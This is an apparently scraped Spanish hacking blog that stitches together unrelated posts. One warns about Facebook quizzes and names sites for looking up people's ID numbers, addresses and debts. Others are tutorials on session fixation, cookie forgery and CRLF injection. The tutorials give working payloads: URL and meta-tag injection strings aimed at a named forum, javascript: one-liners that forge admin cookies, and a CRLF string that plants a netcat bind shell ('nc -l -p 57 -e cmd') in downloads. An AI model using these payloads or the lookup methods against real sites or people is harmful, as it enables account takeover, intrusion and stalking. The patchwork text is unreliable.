La Verdad de los TESTS

Autor: Nicolas Montanaro

ArgentinaSecurity.com.ar



Las redes sociales online han crecido de manera extrema en los ultimos anios, facebook posee 45 millones de miembros activos, y aun asi no es la mas grande del mundo, y esta es solo una de las tantas. En este texto no nos vamos a enforcar en que es facebook, sin embargo al mal uso que algunas personas le pueden dar a esta herramienta social con algo tan inocente como los tests.

Sin darnos cuenta cada vez que respondemos tests, estamos revelando a millones de usuarios (en el caso de facebook 45) informacion sensible sobre nuestra persona,"Que Hora es?" "Donde Estas Ahora?" "Tu Nombre Completo:",'"Escribe tu numero de documento y luego suma sus digitos, ese es tu numero de la suerte"
Preguntas inocentes pero que a la vez revelan el horario y donde estamos usualmente a esa hora, nuestro nombre, numero de documento y un sin fin de datos q se obtienen con tan solo preguntar.

Imaginemos que respondemos el siguiente test:

Que tanto sabes de ti mismo?
tu nombre:
tu segundo nombre:
tu apellido:
nombre completo de tu madre:
nombre completo de tu padre:
fecha en que naciste:
tu padre de que trabaja:
tu madre de que trabaja:
que haces en este momento:
estas solo/a?:

siempre que terminamos de hacer un test lo publicamos para "comparar nuestras respuestas con amigos" quien lo mire no siempre es "amigo" pero al leerlo sabe mucho y puede tener malas intenciones. (no es necesario preguntar a que hora esta vacia tu casa entonces podemos entrar a robar?)

Si estuvieramos en la calle y alguien nos hace estas preguntas porque "solo quiere hacer un test", le mirariamos un par de veces la cara antes de responder, las notas que escribimos en facebook o sea cual sea la red social en la que estemos, NO TIENEN CARA por lo tanto confiamos.

Nuestro nombre es un comienzo, Datosvirtuales es una pagina que tiene datos de varias entidades referente (por ejemplo veraz) pero claro, es pago. Pero la opción de buscar un nombre o un dni/cuit/cdi es gratuita, así que ponemos o el dni (si ya lo conseguimos para confirmar) o si no lo tenemos ponemos el nombre "Pérez Juan" (primero el apellido y sin las comillas). Y como respuesta veremos gratuitamente el dni/cuil/cdi. y esto es tan solo un simple ejemplo, si te quiero robar quizas no necesito tu dni pero... si se donde queda tu casa? www.telexplorer.com es una guia online no solo comercial sino recidencial, que con SOLO EL NOMBRE se puede determinar donde vivimos y no solo eso tambien entrando a
http://www.bcra.gov.ar/cenries/cr010000.asp?error=0
con nuestro cuit/cuil/cdi podemos saber si este tiene deudas! asi como estas hay miles de paginas dando vueltas por la red.

Despues de todo no era solo un simple test no?

Se que fue aburrido, pero es para cuidarlos :)

ArgentinaSecurity.com.ar

Proximamente mas consejos.. solo pidan

Indice de Contenidos
1: Introducción
2: El primer script
3: Programación básica
4: Programación avanzada
5: DOM
6: Eventos
7: Formularios
8: Otras utilidades
9: Detección y corrección de errores
10: Recursos útiles
11: Ejercicios resueltos

Descarga

PDF de 182 paginas sobre introduccion a XML.

Contenido:

Estructura de un documento XML
Documentos XML bien-formados
El prólogo
Elementos
Atributos
Entidades predefinidas
Secciones CDATA
Comentarios
Document Type Definitions (DTDs)
Declaraciones tipo Elemento
Modelos de contenido
Declaraciones de lista de Atributos
Tipos de Atributos
Declaración de Entidades
Ejemplo de DTD
Schemas XML
Extended Style Language (XSL)
XML Document Object Model y Visual Basic
XML Document Object Model y Java
Lenguaje de enlace XML
Enlaces de Interes

Link

Fuente: inyexion.com.ar

Este resumen no está disponible. Haz clic en este enlace para ver la entrada.

Bueno, hace tiempo que no escribo nada para el foro y.. estube viendo que nunca aporte nada en defacing. En parte, nunca aporté nada pq no es lo que más me apasiona. Decidí escribir sobre esto pq poco y nada se habla y es una tecnica poderosa... ok, no tanto como sql inject o rfi, pero es muy util a la hora de vulnerar un objetivo concreto saber mas que las 2 tecnicas antes nombradas.

##### desde acá empiezo el texto, los comentarios tontos los pongo con "#" xD

Session Fixation Atacks

By MurdeR - www.thefreeks.com.ar

Session:

Las sesiones no son más que una "asociacion" entre el host y el cliente. Para no tener que estar recordando todo el tiempo la contraseña via html, se utiliza un sistema simple que consiste en asociar una cuenta con un numero "ID" y almacenando por un lado en temp y por otro en las cookies dicha sesion, posterior y constatemente el server comprueba que los numeritos coincidan hasta que finaliza la sesión y se destruye.
Hay muchos ataques destinados a obtener esos hermosos numeros aleatorios, los más comunes son tan simples como la fuerza bruta o la intercepción (via xss normalmente) y los mas complejos, los session fixation.

Session Fixation:

Este ataque consiste en establecer el numero de id antes de que el administrador se identifique, así luego no seria necesario obtenerlo-- pq seria el previamente establecido. Es sencillo, si le vendo una alarma a un señor y yo elijo el codigo, para mi no sería un problema hackearlo :D.. algo similar.
La mecanica del ataque varía según el sistema que utilice la aplicación web objetivo, normalmente es posible encontrarse con campos ocultos en los formularios, cookies o argumentos en la url.
Un ejemplo de una cookie en smf 1.1.2 es el siguiente:

PHPSESSID dac203acc5aeef19708c9ec19984c31e xxxxx.com / at end of session

Obviamente el id es "dac203acc5aeef19708c9ec19984c31e" y teniendo eso cargado en las cookies, tendremos total control de la cuenta.
Analizando un poco el funcionamiento del sistema (de smf..) se puede notar que el numero id se crea y carga como una variable que se pasa al server via url:

www.diosdelared.com/index.php/action=login&PHPSESSID=ads234sfd5dgf19708c9ec19984c345

Si enviaramos ese enlace a zeus, y el se identificara (bueno... y si este foro fuera smf 1.1.2), la sesión se crearía con su numero de ID.
Entonces solo faltaria crear una cuenta en este foro, identificarse, editar las cookies y cambiar el numero ID. Voilá ya estaría defaceado el foro xD.

En el ejemplo el numero se puede predefinir como un argumento en la url, lo cual es muy facil y a la vez muy cantoso. Tambien se puede dar que el id se cargue como un campo hidden en un form, en este caso sería necesario imitar la pagina de logon y alterar dicho campo, algo más complicado y que requiriía (aun más) ingenieria social.
En caso de que la session se cargue directamente en las cookies, es un poco más complicado. Hay (que yo sepa) dos formas de crear una cookie falsa a un cliente:
Via side-script (jscript..) o via el meta tag Set-Cookie. Paso a explicarlos:

Cross side scripting:

Suponiendo que tenemos un sistema que es vulnerable a session fixation y que encontramos una vulnerabilidad de XSS no sería necesario armar un sofisticado y lento proseso para robarle las cookies, podriamos crear una simple linea que creara la session falsa y usarla al instante.
En js tenemos la funcion document.cookie que permite crea numeros de id. Si www.diosdelared.com fuera vulnerable a algun xss solo tendriamos que hacer:

http://www.diosdelared.com/.sda

Conseguir que el administrador entre en esa url y ejecute el script es tan sensillo como enviar un enlace www.thefreeks.com.ar con un iframe a esa url y espera a que este entre :)

Una buena idea sería ponerle una fecha de expiración larga, por ejemplo el año 2099:

http://www.diosdelared.com/.sda

Así tendriamos control de la cuenta robada hasta muy viejos...

HTML Meta Injection:

Con html, la meta tag Set-Cookie tambien nos posibilita crear una sesion:

meta http-equiv=set-Cookie content="sessionid=asdasd123123"

Si tenemos una web que por casualidad es vulnerable a xss pero que tiene controlado el uso de < script > se puede intentar injectar el meta directamente:

http://www.diosdelared.com/< meta http-equiv=set-Cookie content="sessionid=asdasd123123" >.com

De esta forma obtendriamos el mismo resultado que en el caso anterior.


Otras ideas... DNS Poisoning :) mi muy mas que favorito.

Esto da para hacer otro post, es más, quizas lo haga... la idea es lograr penetrar en el server dns, añadir un registro en el dns a por ejemplo www.diosdelared.com que apunte a un servidor del atacante.
Luego poner en dicho servidor una web exactamente identica a la original y que solicite la identifiacion del usuario para luego hacer un redirect a la web original.


Espero haberme explicado con mas o menos claridad. Es un tema complicado y seguramente quedarán dudas. Si metí la pata en algo, diganmelo y lo corrijo.

Salu2 MurdeR^^

Tutorial realizado por InyeXion sobre Insecure Cookie Handling (inseguridad en el manejo de cookies) en realidad lo hizo porque no vio en la red un solo tutorial referencial a esta vulnerabilidad, asi que espera que se entienda y sino cualquier cosa preguntenle! (jajajajajaj)

Insecure Cookie Handling

#Explicación#

Insecure Cookie Handling (inseguridad en el manejo de cookies) esta vulnerabilidad la vemos cada ves mas en sitios de seguridad web(Seguridad en apps webs..), pero hay muchos que todavía no saben de que se trata, no saben como explotarla o no la entienden por diferentes motivos..., espero solventar las dudas que tengan con este tutorial.

Esta vulnerabilidad depende del perfil en la que la veamos puede parecer tonta o ingeniosa. Tonta diría por la forma en la que los programadores administran las cookies para restringir la sección de los usuarios no autorizados, e ingeniosa por la forma que los atacantes burlan la verificación...

Cookies: Las cookies forman parte del protocolo HTTP, este protocolo se usa para intercambiar mensajes entre el servidor y el cliente utilizando solicitudes y respuestas HTTP. El encabezado HTTP reservado para el uso de las cookies se denomina

Set-Cookie. Está compuesto por valores:

Set-Cookie: nombre=valor; domain=nombre de dominio; expires=vencimiento de la cookie; path=ruta donde la cookie sera validada; secure

Ejemplo:

Set-Cookie: admin=1; domain=www.web.com; expires=Friday, 2-Feb-2009 00:00:00 GMT; path=/; secure

Secure: Solo se usa si la cookie es enviada por conexion segura (SSL) y es opcional.

#Explotacion#

La explotación es muy fácil, creo que muchos ya se la están imaginando..., pondremos algunos ejemplos.

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1)
{
echo "Bienvenido a la administración...";

}else{

echo "No estas autorizado";

}
?>

En este caso tendríamos que crear una cookie con el valor 1. Lo haremos en JavaScript pero se puede hacer con un plugin de Firefox o cualquier herramienta, el objetivo es crear la cookie. Entonces ingresaremos en el sitio y previamente ponemos en la barra del navegador...

javascript:document.cookie="admin=1; path=/";

Ahora entramos nuevamente al login y tendrás acceso a la administración en este caso...

Otro ejemplo:

if($_COOKIE['user'] == 1 && $_COOKIE['pass'] == 1)
{
echo "Autorizado";
}else{
echo "No autorizado";
}
?>

Como en el caso anterior entramos a la web e insertamos..

javascript:document.cookie="user=1; path=/"; document.cookie="pass=1; path=/";

Ahí creamos 2 cookies la cual sirven para pasar la verificación. Entramos nuevamente a la web siendo ya autorizado.

Vamos con el ultimo ejemplo:

?

$user = md5(base64_encode("admin"));

if($_COOKIE['usuario'] == $user && $_COOKIE['pass'] == 1)
{
echo "Administración";
}else{
echo "Acceso Incorrecto";
}?>

Bueno hay que explicar unas cositas de este ejemplo, primero tenemos que saber como sacar el nombre del usuario para que posteriormente podamos encriptar primero en base64 y después en md5, como no somos magos como para adivinar el usuario tenemos que usar la lógica... bien puede ser un nombre de usuario por default (como admin, administrador etc..) o sino nos podemos fijar quien postea en la web, en la mayoria de los CMS dice el usuario que posteo. Supongamos que tiene como usuario "admin" (como el script de arriba) entonces encriptamos el usuario para que podamos crear la cookie con ese valor como muestro abajo:

javascript:document.cookie="usuario=db69fc039dcbd2962cb4d28f5891aae1; path=/"; document.cookie="pass=1; path=/";

#Posibles Soluciones#

Podemos utilizar cookies pero manejarlas de la forma correcta para que no puedan bypassear la verificación, con manejarla de la forma correcta me refiero a que no hagan una verificacion estatica, que sea dinamica depende del administrador, ejemplo que en la cookie guarde un usuario(elejido por el admin previamente) y la contraseña codificadas, entre otras posibilidades...
Tambien podemos combinar verificaciones ejemplo cookies y sessiones, queda a imaginacion de uno de como armar la verificacion siempre y cuando este seguro que la verificación sea segura...


#Links#:

https://addons.mozilla.org/addon/3829 <-- Live HTTP Headers 0.14
https://addons.mozilla.org/es-ES/firefox/addon/573 <-- Add N Edit Cookies 0.2.1.3



Autor: InyeXion
Web: Www.inyexion.net - Www.inyexion.com.ar




PDF - HTML

Saludos! Inyexion :P

Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)


Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:

header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);


Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.

Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:

www.miweb.com/descargas.php?file=programa.bat

Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.


Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.